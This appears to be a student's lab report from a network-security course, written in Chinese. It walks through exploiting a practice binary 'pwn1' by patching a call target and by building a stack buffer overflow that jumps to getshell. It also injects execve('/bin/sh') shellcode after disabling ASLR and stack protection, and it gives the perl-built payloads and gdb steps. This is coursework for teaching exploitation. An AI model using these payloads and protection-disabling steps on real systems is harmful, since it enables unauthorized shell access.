zoukankan      html  css  js  c++  java
  • 2018-2019-2 网络对抗技术 20165228 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165228 Exp1 PC平台逆向破解

    实验内容及步骤

    第一部分:直接修改程序机器指令,改变程序执行流程

    关键:通过修改call指令跳转的地址,将原本指向被调用函数入口的地址修为getshell函数入口的地址,从而达到目的

    • 对pwn1进行反汇编,分析函数执行的步骤
      objdump -d pwn1

      • getshell函数入口地址为0x0804847d

      • foo函数入口地址为0x08048491

      • main函数中调用foo函数的机器码为e8 d7 ff ff ff ,CPU就会转而执行 “EIP +0x d7ffffff”这个位置的指令,在执行call之前EIP为0x080484ba

      • 0xd7ffffff是补码,表示-41

      • 调用foo时地址差:0x080484ba+0xd7ffffff=0x08048491

      • 修改执行流程时的地址差:0x080484ba+0xc3ffffff=0x0804847d

    • 操作:

    • vim pwn1编辑pwn1

    • :%!xxd进入十六进制模式

    • /d7查找内容

    • 0xd7ffffff修改为0xc3ffffff

    • :%!xxd -r转换为原进制

    • 保存

    • 结果验证:

    通过构造输入参数,造成BOF攻击,改变程序执行流

    关键:
    1、构造出用于BOF攻击的字符串
    2、将字符串中的getshell命令覆盖在栈帧中正确的位置,即执行ret函数时压入的返回地址

    • 为了得到恰好覆盖到返回地址的字符串长度,进行输入运行尝试。
      进入GDB调试,并对pwn1输入1111111122222222333333334444444412345678

    • 得到覆盖在返回地址的字符ASCII码值0x34333231即1234。因此,我们只需要将字符串中“1234”替换为getshell的返回地址0x0804847d

    • 由于无法直接敲入16进制的数,所以先生成包括字符串的文件
      perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input

    • 结合文本输出命令cat与管道符|,将input的内容作为./pwn1的输入。

    • 验证结果:攻击成功

    Shellcode注入攻击
    • 准备:
    apt-get install execstack安装execstack
    # execstack -s pwn1    //设置堆栈可执行
    # execstack -q pwn1  //查询文件的堆栈是否可执行
    # echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    # more /proc/sys/kernel/randomize_va_space  //查看地址随机化是否已经关闭
    

    • 打开终端注入攻击
    • 查询其进程号,并进入gdb调试观察寄存器地址
    gdb
    attach 34238
    disassemble foo
    break *0x080484ae
    c(运行pwn1的终端按下回车后)
    info r esp
    x/16x 0xffffd21c
    



    得到开始的shellcode地址:0xffffd220
    ````perl -e 'print "A" x 32;print "x20xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x20xd3xffxffx00"' > input_shellcode```

    • 验证:成功注入

    遇到的问题

    1、在做构造字符串时,将得出的shellcode地址替换错了位置,导致一直提示非法指令

    解决:在一遍遍核对地址后,发现ExpGuides博客里有坑- - 然后看了后面部分才纠正了错误。

    实验感想

    • 本次的实验主题是我们一直都很熟悉的名字,但却是第一次尝试缓冲区溢出攻击,十分有趣。实验中,我们也复习了上学期信息安全系统设计基础的相关内容,比如栈帧。同时对缓冲区溢出的原理有了更加深入的理解。不过过程中也出现了很多问题,比如kali机的dns配置问题,我之前装好后只是尝试ping网关,发现能ping通后就没有进一步配置,但是当我安装execstack时一直提示无法解析,然后我又翻了很多博客才成功解决了该问题。后来,由于我对构造的字符串了解不够,也花费了很多时间。

    问题回答

    • 什么是漏洞?漏洞有什么危害?
      • 漏洞则是软件编程过程中的缺陷,就像本实验中的缓存区太小一样,很容易溢出覆盖了栈帧中的其他区域。漏洞会对系统的稳定性和安全性造成影响,会造成信息泄露或者权限盗用等严重后果。
    • NOP, JNE, JE, JMP, CMP汇编指令的机器码
      • NOP:90

      • JNE:75

      • JE:74

      • CMP:
        CMP reg8/mem8,reg8:38
        CMP reg16/mem16,reg16:39
        CMP reg8,reg8/mem8:3A
        CMP reg16,reg16/mem16:3B
        CMP al,immed8:3C
        CMP ax,immed16:3D

      • JMP:
        Jmp near:E9
        Jmp far:EA
        Jmp short:EB
        Jmp word:FF

  • 相关阅读:
    不可小视视图对效率的影响力
    Maximum Margin Planning
    PhysicsBased Boiling Simulation

    Learning Behavior Styles with Inverse Reinforcement Learning
    Simulating Biped Behaviors from Human Motion Data
    Nearoptimal Character Animation with Continuous Control
    Apprenticeship Learning via Inverse Reinforcement Learning
    回报函数学习的学徒学习综述
    Enabling Realtime Physics Simulation in Future Interactive Entertainment
  • 原文地址:https://www.cnblogs.com/cloud795/p/10514022.html
Copyright © 2011-2022 走看看